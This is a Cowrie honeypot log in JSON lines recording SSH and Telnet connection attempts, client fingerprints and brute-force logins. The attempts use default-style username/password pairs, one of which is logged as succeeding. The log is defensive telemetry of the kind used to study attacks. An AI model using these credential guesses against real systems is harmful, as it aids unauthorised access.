{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:58:47.094242Z","src_ip":"87.106.29.151","session":"2e9c788f6d36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:58:48.191476Z","src_ip":"87.106.29.151","session":"2e9c788f6d36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":55046,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b8c5ff67af4","protocol":"ssh","message":"New connection: 87.106.29.151:55046 (10.17.0.5:22) [session: 9b8c5ff67af4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:58:48.284722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:58:48.292542Z","src_ip":"87.106.29.151","session":"9b8c5ff67af4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:58:48.384686Z","src_ip":"87.106.29.151","session":"9b8c5ff67af4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:58:48.787678Z","src_ip":"87.106.29.151","session":"9b8c5ff67af4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:58:48.885706Z","src_ip":"87.106.29.151","session":"9b8c5ff67af4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:58:48.891003Z","src_ip":"87.106.29.151","session":"089e7cc658d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.552524328231812,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:58:58.382840Z","src_ip":"115.212.118.99","session":"1edc3c5dcfa6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.124.158.150","src_port":55924,"dst_ip":"10.17.0.5","dst_port":22,"session":"6638b6864265","protocol":"ssh","message":"New connection: 138.124.158.150:55924 (10.17.0.5:22) [session: 6638b6864265]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:59:11.958177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:59:11.963662Z","src_ip":"138.124.158.150","session":"6638b6864265","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:59:12.136565Z","src_ip":"138.124.158.150","session":"6638b6864265","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"1","message":"login attempt [vncuser/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:59:12.859648Z","src_ip":"138.124.158.150","session":"6638b6864265","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:59:14.036079Z","src_ip":"138.124.158.150","session":"6638b6864265","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.82.144.240","src_port":33260,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6a39f6f5e52","protocol":"ssh","message":"New connection: 20.82.144.240:33260 (159.203.135.109:22) [session: b6a39f6f5e52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:59:23.743334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:59:23.748547Z","src_ip":"20.82.144.240","session":"b6a39f6f5e52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:59:23.816604Z","src_ip":"20.82.144.240","session":"b6a39f6f5e52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"abc123","message":"login attempt [minecraft/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:59:24.119933Z","src_ip":"20.82.144.240","session":"b6a39f6f5e52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":63744,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c405290db74","protocol":"telnet","message":"New connection: 212.55.149.117:63744 (10.17.0.5:23) [session: 2c405290db74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:59:24.245336Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:59:25.190127Z","src_ip":"20.82.144.240","session":"b6a39f6f5e52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":40988,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad61ecb649d4","protocol":"ssh","message":"New connection: 87.106.29.151:40988 (10.17.0.5:22) [session: ad61ecb649d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:59:36.620505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:59:36.624992Z","src_ip":"87.106.29.151","session":"ad61ecb649d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:59:36.717791Z","src_ip":"87.106.29.151","session":"ad61ecb649d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admintrup","message":"login attempt [root/admintrup] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:59:37.119619Z","src_ip":"87.106.29.151","session":"ad61ecb649d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:59:38.214968Z","src_ip":"87.106.29.151","session":"ad61ecb649d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":50892,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ab1839d26d2","protocol":"ssh","message":"New connection: 2.57.122.208:50892 (159.203.135.109:22) [session: 0ab1839d26d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:59:42.932670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:59:43.024914Z","src_ip":"2.57.122.208","session":"0ab1839d26d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:59:43.133285Z","src_ip":"2.57.122.208","session":"0ab1839d26d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4rfv$RFV","message":"login attempt [ubuntu/4rfv$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:59:44.330842Z","src_ip":"2.57.122.208","session":"0ab1839d26d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:59:45.696813Z","src_ip":"2.57.122.208","session":"0ab1839d26d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.82.144.240","src_port":50224,"dst_ip":"159.203.135.109","dst_port":22,"session":"8456994c867c","protocol":"ssh","message":"New connection: 20.82.144.240:50224 (159.203.135.109:22) [session: 8456994c867c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:00:20.970495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:00:20.975601Z","src_ip":"20.82.144.240","session":"8456994c867c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:00:21.050579Z","src_ip":"20.82.144.240","session":"8456994c867c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"elcaro","message":"login attempt [ubuntu/elcaro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:00:21.349782Z","src_ip":"20.82.144.240","session":"8456994c867c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:00:22.419855Z","src_ip":"20.82.144.240","session":"8456994c867c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":34092,"dst_ip":"10.17.0.5","dst_port":22,"session":"2aac5787c3e2","protocol":"ssh","message":"New connection: 87.106.29.151:34092 (10.17.0.5:22) [session: 2aac5787c3e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:00:28.591714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:00:28.597095Z","src_ip":"87.106.29.151","session":"2aac5787c3e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:00:28.690162Z","src_ip":"87.106.29.151","session":"2aac5787c3e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123","message":"login attempt [ftpuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:00:29.090723Z","src_ip":"87.106.29.151","session":"2aac5787c3e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:00:30.185947Z","src_ip":"87.106.29.151","session":"2aac5787c3e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":40212,"dst_ip":"10.17.0.5","dst_port":22,"session":"e07cc3f6cc9a","protocol":"ssh","message":"New connection: 103.15.226.202:40212 (10.17.0.5:22) [session: e07cc3f6cc9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:00:44.602789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:00:44.607750Z","src_ip":"103.15.226.202","session":"e07cc3f6cc9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:00:44.859999Z","src_ip":"103.15.226.202","session":"e07cc3f6cc9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Baidu@123","message":"login attempt [root/Baidu@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:00:45.643139Z","src_ip":"103.15.226.202","session":"e07cc3f6cc9a","protocol":"ssh"}
